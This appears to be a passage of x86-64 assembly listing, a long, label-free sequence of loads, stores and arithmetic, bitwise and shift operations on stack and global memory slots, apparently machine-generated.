mov byte [0x1402c74b7], al
mov rax, qword [rsp + 0xbc10]
movzx eax, word [rax]
mov word [rsp + 0x1678], ax
movsx eax, byte [rsp + 0x50]
movsx ecx, byte [rsp + 0x89]
sub eax, ecx
mov byte [rsp + 0x9b], al
mov rax, qword [0x1402c9208]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xbd28]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x5a], al
movzx eax, word [rsp + 0x163c]
mov word [rsp + 0x167c], ax
mov rax, qword [rsp + 0xc348]
mov rcx, qword [0x1402c7490]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xc460], rax
mov eax, dword [rsp + 0x6a40]
mov dword [rsp + 0x6a8c], eax
mov rax, qword [rsp + 0xba88]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xbd20]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xc358], rax
lea rax, [rsp + 0x6a60]
mov qword [rsp + 0xc540], rax
lea rax, [0x1402c748f]
mov qword [0x1402c9210], rax
movsx eax, byte [rsp + 0x50]
mov rcx, qword [rsp + 0xc1c0]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x88], al
mov rax, qword [rsp + 0xc4e8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1620]
shl eax, cl
mov rcx, qword [rsp + 0xc0d0]
mov word [rcx], ax
movzx eax, word [rsp + 0x1678]
mov word [rsp + 0x1680], ax
mov rax, qword [rsp + 0xc2f0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xc0b8]
movsx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0xbc80]
mov word [rcx], ax
mov rax, qword [rsp + 0xbc00]
mov eax, dword [rax]
mov dword [rsp + 0x6a90], eax
mov rax, qword [rsp + 0xbe10]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xc268]
mov qword [rsp + 0xc548], rcx
movzx ecx, al
mov rax, qword [rsp + 0xc548]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x6a58], eax
mov rax, qword [rsp + 0xbf80]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb9b0]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xc1b8], rax
mov rax, qword [rsp + 0xc3b0]
mov qword [rsp + 0xc550], rax
movzx eax, word [rsp + 0x1624]
movzx ecx, word [rsp + 0x1540]
sub eax, ecx
mov word [0x1402c74c0], ax
mov rax, qword [rsp + 0xc190]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xbfb0]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x93], al
mov rax, qword [rsp + 0xc3b8]
movzx eax, byte [rax]
mov byte [rsp + 0x9d], al
movsx eax, byte [rsp + 0x76]
mov rcx, qword [rsp + 0xc458]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xba78]
mov byte [rcx], al
movsx eax, word [rsp + 0x15a0]
mov rcx, qword [rsp + 0xc208]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x15f4], ax
mov rax, qword [rsp + 0xc340]
mov qword [rsp + 0xc558], rax
mov rax, qword [rsp + 0xbf80]
mov rax, qword [rax]
mov rcx, qword [0x1402c7490]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xc130]
mov qword [rcx], rax
mov eax, dword [rsp + 0x6a34]
mov dword [rsp + 0x6a94], eax
mov rax, qword [rsp + 0xc118]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x69cc]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x68b0], eax
movzx eax, word [0x1402c74b0]
movzx ecx, word [rsp + 0x153c]
add eax, ecx
mov rcx, qword [0x1402c9108]
mov word [rcx], ax
movzx eax, word [rsp + 0x15a0]
mov word [rsp + 0x1684], ax
mov rax, qword [rsp + 0xbf40]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xbd58]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x52], al
mov rax, qword [0x1402c91b0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xbfc0]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x85], al
lea rax, [rsp + 0x15c8]
mov qword [rsp + 0xc560], rax
mov rax, qword [rsp + 0xbaf8]
mov rcx, qword [rsp + 0xbe68]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x6a2c], eax
mov rax, qword [rsp + 0xbda0]
mov rax, qword [rax]
mov qword [rsp + 0xc568], rax
mov rax, qword [rsp + 0xbaa8]
mov rcx, qword [rsp + 0xbdf0]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xc450], rax
mov rax, qword [rsp + 0xc038]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xbf18]
mov qword [rsp + 0xc570], rcx
movzx ecx, al
mov rax, qword [rsp + 0xc570]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x6a1c], eax
mov rax, qword [rsp + 0xbef8]
movzx eax, byte [rax]
mov byte [0x1402c90b3], al
mov rax, qword [rsp + 0xc178]
movzx eax, word [rax]
mov word [rsp + 0x1688], ax
movzx eax, byte [rsp + 0x75]
movzx ecx, byte [rsp + 0x59]
xor eax, ecx
mov rcx, qword [rsp + 0xc430]
mov byte [rcx], al
lea rax, [rsp + 0x1604]
mov qword [rsp + 0xc578], rax
mov rax, qword [rsp + 0xc458]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xc058]
movsx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0xc318]
mov byte [rcx], al
mov rax, qword [rsp + 0xc4a8]
mov rcx, qword [rsp + 0xc090]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x6988], eax
mov rax, qword [rsp + 0xbbf0]
mov qword [rsp + 0xc580], rax
mov rax, qword [rsp + 0xbe50]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xc428]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xbf38], rax
lea rax, [rsp + 0x6a48]
mov qword [rsp + 0xc588], rax
mov rax, qword [0x1402c9170]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1678]
and eax, ecx
mov word [0x1402c74a0], ax
movzx eax, word [rsp + 0x1550]
movzx ecx, word [rsp + 0x1600]
sub eax, ecx
mov word [rsp + 0x152c], ax
mov rax, qword [rsp + 0xc0f8]
movzx eax, byte [rax]
movzx ecx, byte [0x1402c90a6]
sub eax, ecx
mov byte [rsp + 0x91], al
lea rax, [rsp + 0x7a]
mov qword [rsp + 0xc590], rax
movsx eax, word [rsp + 0x1604]
mov rcx, qword [rsp + 0xbff0]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1598], ax
lea rax, [rsp + 0x6a4c]
mov qword [rsp + 0xc598], rax
mov rax, qword [rsp + 0xbfa8]
mov rcx, qword [rsp + 0xbda0]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xc4a0]
mov qword [rcx], rax
lea rax, [rsp + 0xc4c0]
mov qword [rsp + 0xc5a0], rax
mov rax, qword [rsp + 0xc268]
mov rcx, qword [rsp + 0xc2f8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x6900], eax
lea rax, [rsp + 0x79]
mov qword [0x1402c9218], rax
mov rax, qword [rsp + 0xc140]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x15e8]
add eax, ecx
mov rcx, qword [rsp + 0xc140]
mov word [rcx], ax
mov rax, qword [rsp + 0xbd80]
movzx eax, word [rax]
mov word [rsp + 0x168c], ax
movsx eax, byte [rsp + 0x7c]
movsx ecx, byte [rsp + 0x5e]
add eax, ecx
mov byte [rsp + 0x8d], al
mov rax, qword [rsp + 0xbcf0]
movzx eax, byte [rax]
mov byte [rsp + 0x9e], al
mov rax, qword [rsp + 0xc340]
mov rcx, qword [rsp + 0xc1f0]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xbda0]
mov qword [rcx], rax
mov rax, qword [rsp + 0xc330]
mov rcx, qword [rsp + 0xb9b8]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xc488], rax
lea rax, [rsp + 0x6918]
mov qword [rsp + 0xc5a8], rax
mov eax, dword [rsp + 0x6900]
movzx ecx, al
mov eax, dword [rsp + 0x6a14]
sar eax, cl
mov dword [rsp + 0x6a78], eax
lea rax, [rsp + 0x6a]
mov qword [rsp + 0xc5b0], rax
movsx eax, word [rsp + 0x15f8]
movsx ecx, word [rsp + 0x167c]
shl eax, cl
mov word [0x1402c90d8], ax
movzx eax, word [rsp + 0x1560]
mov rcx, qword [rsp + 0xc410]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x1624], ax
movzx eax, byte [rsp + 0x78]
movzx ecx, byte [rsp + 0x8b]
and eax, ecx
mov byte [rsp + 0x92], al
lea rax, [rsp + 0x1608]
mov qword [rsp + 0xc5b8], rax
mov rax, qword [rsp + 0xc308]
mov rcx, qword [rsp + 0xc148]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x6a84], eax
mov eax, dword [rsp + 0x69e8]
mov dword [rsp + 0x6a98], eax
mov rax, qword [rsp + 0xbea0]
mov rcx, qword [rsp + 0xc4a0]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xc3f8]
mov qword [rcx], rax
mov rax, qword [rsp + 0xc500]
mov qword [rsp + 0xc5c0], rax
mov rax, qword [0x1402c9190]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xbc58]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x93], al
movsx eax, byte [rsp + 0x97]
movsx ecx, byte [rsp + 0x5d]
sub eax, ecx
mov byte [0x1402c74ba], al
movsx eax, word [rsp + 0x1548]
mov rcx, qword [rsp + 0xc398]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1684], ax
lea rax, [rsp + 0x15cc]
mov qword [rsp + 0xc5c8], rax
mov rax, qword [rsp + 0xc320]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x92]
sub eax, ecx
mov rcx, qword [rsp + 0xbb18]
mov byte [rcx], al
mov eax, dword [rsp + 0x69cc]
mov dword [rsp + 0x6a9c], eax
mov rax, qword [rsp + 0xbe00]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xc028]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xbe08]
mov qword [rcx], rax
mov rax, qword [rsp + 0xb9e0]
mov rcx, qword [rsp + 0xc448]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xbdd0]
mov qword [rcx], rax
mov eax, dword [0x1402c90a0]
mov dword [rsp + 0x6aa0], eax
movsx eax, byte [rsp + 0x8d]
mov rcx, qword [rsp + 0xc3c0]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x88], al
lea rax, [rsp + 0x70]
mov qword [0x1402c9220], rax
mov rax, qword [rsp + 0xc2f0]
movzx eax, word [rax]
mov word [rsp + 0x1690], ax
movzx eax, word [rsp + 0x1578]
mov rcx, qword [rsp + 0xbc10]
movzx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0xbbc0]
mov word [rcx], ax
movzx eax, word [rsp + 0x168c]
mov rcx, qword [rsp + 0xbfd0]
movzx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0xbdb0]
mov word [rcx], ax
lea rax, [rsp + 0x6980]
mov qword [rsp + 0xc5d0], rax
mov rax, qword [rsp + 0xbd50]
mov rcx, qword [rsp + 0xc330]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0xbb40]
mov qword [rcx], rax
mov eax, dword [rsp + 0x6a60]
mov dword [rsp + 0x6aa4], eax
mov rax, qword [rsp + 0xc438]
mov rcx, qword [rsp + 0xbbf0]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xc418], rax
movsx eax, byte [0x1402c74a5]
movsx ecx, byte [rsp + 0x6c]
sub eax, ecx
mov rcx, qword [rsp + 0xbc70]
mov byte [rcx], al
mov rax, qword [rsp + 0xba80]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x73]
add eax, ecx
mov rcx, qword [0x1402c91c8]
mov byte [rcx], al
lea rax, [rsp + 0x15dc]
mov qword [rsp + 0xc5d8], rax
mov rax, qword [0x1402c9148]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x83]
add eax, ecx
mov byte [rsp + 0x9a], al
lea rax, [rsp + 0x1530]
mov qword [rsp + 0xc5e0], rax
mov rax, qword [rsp + 0xc430]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xbd30]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x64], al
mov eax, dword [rsp + 0x69dc]
mov dword [rsp + 0x6aa8], eax
mov rax, qword [rsp + 0xbe10]
mov rcx, qword [rsp + 0xc338]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x6a14], eax
mov rax, qword [rsp + 0xbfc8]
mov rcx, qword [rsp + 0xc218]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xc060], rax
lea rax, [rsp + 0xc128]
mov qword [rsp + 0xc5e8], rax
movzx eax, word [rsp + 0x15ac]
movzx ecx, word [rsp + 0x1610]
add eax, ecx
mov rcx, qword [0x1402c9138]
mov word [rcx], ax
mov rax, qword [rsp + 0xbc70]
movsx eax, byte [rax]
mov rcx, qword [0x1402c90e8]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x8e], al
lea rax, [rsp + 0x15f8]
mov qword [rsp + 0xc5f0], rax
movzx eax, word [rsp + 0x161c]
movzx ecx, word [rsp + 0x1554]
sub eax, ecx
mov rcx, qword [rsp + 0xbd90]
mov word [rcx], ax
movsx eax, byte [rsp + 0x7b]
movsx ecx, byte [0x1402c90b3]
or eax, ecx
mov byte [rsp + 0x79], al
lea rax, [rsp + 0xc388]
mov qword [rsp + 0xc5f8], rax
mov rax, qword [rsp + 0xbe50]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xbce0]
shl rax, cl
mov qword [rsp + 0xc2a8], rax
mov rax, qword [rsp + 0xbdb8]
mov eax, dword [rax]
mov dword [rsp + 0x6aac], eax
mov eax, dword [rsp + 0x6a2c]
mov ecx, dword [rsp + 0x6a44]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xc198]
mov dword [rcx], eax
mov rax, qword [rsp + 0xbd10]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xba90]
movsx ecx, word [rcx]
sar eax, cl
mov word [0x1402c74d4], ax
movzx eax, word [rsp + 0x1634]
imul eax, eax, 0xdbf
mov rcx, qword [rsp + 0xbf30]
mov word [rcx], ax
lea rax, [rsp + 0x15a0]
mov qword [rsp + 0xc600], rax
mov rax, qword [rsp + 0xc2b8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xc250]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x52], al
mov rax, qword [rsp + 0xbf20]
movzx eax, byte [rax]
mov byte [rsp + 0x9f], al
mov rax, qword [rsp + 0xbdd0]
mov rcx, qword [rsp + 0xc5f8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xbde8], rax
mov rax, qword [rsp + 0xc290]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6a00]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x6918], eax
mov rax, qword [0x1402c7490]
mov qword [rsp + 0xc608], rax
mov rax, qword [rsp + 0xbd78]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x69a0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x6aa4], eax
movsx eax, word [rsp + 0x165c]
movsx ecx, word [rsp + 0x15c4]
sub eax, ecx
mov rcx, qword [0x1402c90e0]
mov word [rcx], ax
lea rax, [rsp + 0x8d]
mov qword [rsp + 0xc610], rax
mov rax, qword [rsp + 0xc4e0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xc070]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x160c], ax
lea rax, [rsp + 0x6b]
mov qword [rsp + 0xc618], rax
mov rax, qword [rsp + 0xbd30]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x83]
and eax, ecx
mov byte [rsp + 0x54], al
mov rax, qword [rsp + 0xc1c8]
mov rcx, qword [rsp + 0xc008]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xc550], rax
lea rax, [rsp + 0x69f0]
mov qword [rsp + 0xc620], rax
mov rax, qword [0x1402c90a8]
mov rcx, qword [rsp + 0xc4c0]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xbce0], rax
mov rax, qword [rsp + 0xbaf8]
mov eax, dword [rax]
mov dword [rsp + 0x6ab0], eax
movzx eax, word [rsp + 0x1688]
mov word [0x1402c9228], ax
movzx eax, word [rsp + 0x1564]
movzx ecx, word [0x1402c74c0]
add eax, ecx
mov word [rsp + 0x153c], ax
movzx eax, byte [rsp + 0x78]
movzx ecx, byte [rsp + 0x53]
shl eax, cl
mov byte [rsp + 0x83], al
mov rax, qword [rsp + 0xbdf8]
movzx eax, byte [rax]
mov byte [rsp + 0xa0], al
mov rax, qword [0x1402c9198]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x70]
xor eax, ecx
mov rcx, qword [rsp + 0xbd30]
mov byte [rcx], al
lea rax, [rsp + 0x6900]
mov qword [rsp + 0xc628], rax
mov rax, qword [rsp + 0xbc90]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xc500]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xbe30], rax
mov rax, qword [rsp + 0xc480]
mov rcx, qword [rsp + 0xbfa0]
mov qword [rsp + 0xc630], rcx
movzx ecx, al
mov rax, qword [rsp + 0xc630]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0xc0b0], rax
lea rax, [rsp + 0x69c4]
mov qword [rsp + 0xc638], rax
mov rax, qword [rsp + 0xbc68]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xc178]
movsx ecx, word [rcx]
and eax, ecx
mov word [0x1402c74d8], ax
movsx eax, byte [0x1402c74a3]
movsx ecx, byte [rsp + 0x5d]
imul eax, ecx
mov rcx, qword [rsp + 0xbe70]
mov byte [rcx], al
lea rax, [rsp + 0x5e]
mov qword [rsp + 0xc640], rax
movzx eax, byte [rsp + 0x93]
mov rcx, qword [rsp + 0xbd30]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xbb18]
mov byte [rcx], al
movzx eax, word [rsp + 0x1568]
mov word [rsp + 0x1694], ax
mov rax, qword [rsp + 0xc388]
mov rcx, qword [rsp + 0xc370]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xbe60]
mov qword [rcx], rax
mov rax, qword [rsp + 0xbab0]
mov ecx, dword [0x1402c90a0]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xc198]
mov dword [rcx], eax
mov eax, dword [rsp + 0x6978]
mov dword [rsp + 0x6ab4], eax
mov rax, qword [rsp + 0xc538]
mov rcx, qword [rsp + 0xc1b8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xc2a8], rax
mov rax, qword [rsp + 0xc108]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xc4e8]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [0x1402c9150]
mov word [rcx], ax
lea rax, [rsp + 0x59]
mov qword [rsp + 0xc648], rax
movsx eax, byte [rsp + 0x88]
movsx ecx, byte [rsp + 0x5d]
add eax, ecx
mov byte [rsp + 0x86], al
mov rax, qword [rsp + 0xbe90]
movzx eax, word [rax]
movzx ecx, word [0x1402c74a0]
imul eax, ecx
mov rcx, qword [rsp + 0xc5d8]
mov word [rcx], ax
mov rax, qword [rsp + 0xbde0]
movzx eax, word [rax]
mov word [rsp + 0x1698], ax
mov rax, qword [rsp + 0xbc98]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x69f8]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x69a0], eax
mov rax, qword [rsp + 0xbc88]
mov eax, dword [rax]
mov dword [rsp + 0x6ab8], eax
mov rax, qword [rsp + 0xc110]
mov rcx, qword [rsp + 0xbec0]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xc3a0], rax
mov rax, qword [rsp + 0xbd48]
mov rcx, qword [rsp + 0xc040]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0xc170], rax
movsx eax, word [rsp + 0x1544]
mov rcx, qword [0x1402c9158]
movsx ecx, word [rcx]
or eax, ecx
mov rcx, qword [0x1402c90f0]
mov word [rcx], ax
movzx eax, byte [rsp + 0x60]
mov byte [rsp + 0xa1], al
mov rax, qword [rsp + 0xbcf0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x75]
sar eax, cl
mov byte [rsp + 0x68], al
movzx eax, word [0x1402c90b0]
mov word [rsp + 0x169c], ax
mov rax, qword [rsp + 0xc070]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x158c]
shl eax, cl
mov rcx, qword [rsp + 0xc520]
mov word [rcx], ax
mov rax, qword [rsp + 0xc180]
mov ecx, dword [rsp + 0x69a8]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xbdb8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xc5a8]
mov eax, dword [rax]
mov dword [rsp + 0x6abc], eax
mov rax, qword [rsp + 0xba88]
mov rcx, qword [rsp + 0xc480]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xbf28], rax
lea rax, [rsp + 0xc538]
mov qword [rsp + 0xc650], rax
movsx eax, byte [rsp + 0x72]
movsx ecx, byte [rsp + 0x58]
sub eax, ecx
mov byte [rsp + 0x52], al
lea rax, [rsp + 0x91]
mov qword [0x1402c9230], rax
lea rax, [rsp + 0x15b8]
mov qword [rsp + 0xc658], rax
mov rax, qword [rsp + 0xbb10]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1558]
add eax, ecx
mov rcx, qword [rsp + 0xc3a8]
mov word [rcx], ax
mov rax, qword [0x1402c9198]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xc000]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x51], al
lea rax, [rsp + 0xbd60]
mov qword [rsp + 0xc660], rax
mov rax, qword [rsp + 0xc620]
mov ecx, dword [0x1402c7498]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xbe18]
mov dword [rcx], eax
mov rax, qword [rsp + 0xbd50]
mov rax, qword [rax]
mov qword [rsp + 0xc668], rax
mov rax, qword [rsp + 0xc5a8]
mov ecx, dword [rsp + 0x69dc]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x6a98], eax
movzx eax, word [rsp + 0x1660]
mov rcx, qword [0x1402c9110]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1558], ax
movsx eax, byte [rsp + 0x61]
movsx ecx, byte [rsp + 0x66]
sub eax, ecx
mov rcx, qword [0x1402c9208]
mov byte [rcx], al
mov rax, qword [rsp + 0xbb10]
movzx eax, word [rax]
mov word [rsp + 0x16a0], ax
movsx eax, word [rsp + 0x15b4]
mov rcx, qword [rsp + 0xbc68]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xbc80]
mov word [rcx], ax
mov rax, qword [rsp + 0xc578]
movzx eax, word [rax]
mov word [rsp + 0x16a4], ax
mov rax, qword [rsp + 0xbc28]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xc008]
mov qword [rsp + 0xc670], rcx
movzx ecx, al
mov rax, qword [rsp + 0xc670]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0xc1a0], rax
mov rax, qword [rsp + 0xc620]
mov ecx, dword [0x1402c7498]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x69bc], eax
mov rax, qword [rsp + 0xc068]
mov rax, qword [rax]
mov qword [rsp + 0xc678], rax
mov eax, dword [rsp + 0x6a40]
movzx ecx, al
mov eax, dword [rsp + 0x69e8]
shl eax, cl
mov dword [rsp + 0x6a94], eax
lea rax, [rsp + 0x152c]
mov qword [rsp + 0xc680], rax
movsx eax, word [rsp + 0x1598]
movsx ecx, word [rsp + 0x155c]
or eax, ecx
mov word [0x1402c74dc], ax
movzx eax, byte [rsp + 0x8c]
mov rcx, qword [rsp + 0xc0f8]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xc238]
mov byte [rcx], al
movzx eax, byte [rsp + 0x52]
mov byte [rsp + 0xa2], al
mov rax, qword [rsp + 0xc470]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xbd70]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x80], al
mov eax, dword [rsp + 0x69e0]
mov ecx, dword [rsp + 0x69a0]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x69a8], eax
lea rax, [rsp + 0xbd60]
mov qword [rsp + 0xc688], rax
mov rax, qword [rsp + 0xc4d8]
mov rcx, qword [rsp + 0xc028]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xc360], rax
mov rax, qword [rsp + 0xbe40]
mov eax, dword [rax]
mov dword [rsp + 0x6ac0], eax
movzx eax, byte [rsp + 0x51]
movzx ecx, byte [rsp + 0x8f]
add eax, ecx
mov byte [rsp + 0x83], al
movzx eax, word [rsp + 0x1634]
mov rcx, qword [rsp + 0xbb10]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x1402c9120], ax
movzx eax, byte [rsp + 0x6b]
movzx ecx, byte [rsp + 0x59]
add eax, ecx
mov byte [rsp + 0x6f], al
mov rax, qword [rsp + 0xba90]
movzx eax, word [rax]
mov word [rsp + 0x16a8], ax
movsx eax, byte [rsp + 0x63]
movsx ecx, byte [rsp + 0x7e]
add eax, ecx
mov byte [rsp + 0x8d], al
mov rax, qword [rsp + 0xbde0]
movzx eax, word [rax]
mov word [rsp + 0x16ac], ax
mov rax, qword [rsp + 0xc068]
mov rcx, qword [rsp + 0xc168]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xc5e8]
mov qword [rcx], rax
mov rax, qword [rsp + 0xc138]
mov ecx, dword [rsp + 0x69fc]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x6a78], eax
mov rax, qword [rsp + 0xc4a0]
mov rax, qword [rax]
mov qword [rsp + 0xc690], rax
mov rax, qword [rsp + 0xc198]
mov ecx, dword [rsp + 0x6abc]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x6a38], eax
lea rax, [rsp + 0x5b]
mov qword [0x1402c9238], rax
movzx eax, byte [rsp + 0x92]
mov byte [rsp + 0xa3], al
movzx eax, word [rsp + 0x158c]
mov rcx, qword [rsp + 0xba98]
movzx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0xbbd0]
mov word [rcx], ax
mov rax, qword [rsp + 0xbda8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xc070]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x152c], ax
movzx eax, byte [rsp + 0x82]
mov byte [rsp + 0xa4], al
mov eax, dword [rsp + 0x68ec]
mov ecx, dword [rsp + 0x69f0]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x6990], eax
mov rax, qword [rsp + 0xc5d0]
mov eax, dword [rax]
mov dword [rsp + 0x6ac4], eax
mov rax, qword [rsp + 0xbe60]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xc688]
mov qword [rsp + 0xc698], rcx
movzx ecx, al
mov rax, qword [rsp + 0xc698]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xc418], rax
mov rax, qword [rsp + 0xc1f8]
mov rax, qword [rax]
mov qword [rsp + 0xc6a0], rax
movsx eax, byte [rsp + 0x81]
mov rcx, qword [rsp + 0xbea8]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [0x1402c91f0]
mov byte [rcx], al
mov rax, qword [rsp + 0xc5c8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xc5e0]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1598], ax
movsx eax, byte [0x1402c748a]
movsx ecx, byte [rsp + 0x89]
sub eax, ecx
mov byte [rsp + 0x88], al
mov rax, qword [rsp + 0xc070]
movzx eax, word [rax]
mov word [rsp + 0x16b0], ax
mov rax, qword [rsp + 0xbd10]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xbde0]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1604], ax
mov eax, dword [0x1402c90a0]
mov dword [rsp + 0x6ac8], eax
mov rax, qword [rsp + 0xbd50]
mov rcx, qword [rsp + 0xc028]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xc3f0]
mov qword [rcx], rax
mov rax, qword [rsp + 0xc338]
mov ecx, dword [rsp + 0x6a14]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x69f4], eax
mov rax, qword [rsp + 0xc4a0]
mov rax, qword [rax]
mov qword [rsp + 0xc6a8], rax
mov rax, qword [rsp + 0xc618]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xbe58]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x1402c74bb], al
mov rax, qword [rsp + 0xc410]
movzx eax, word [rax]
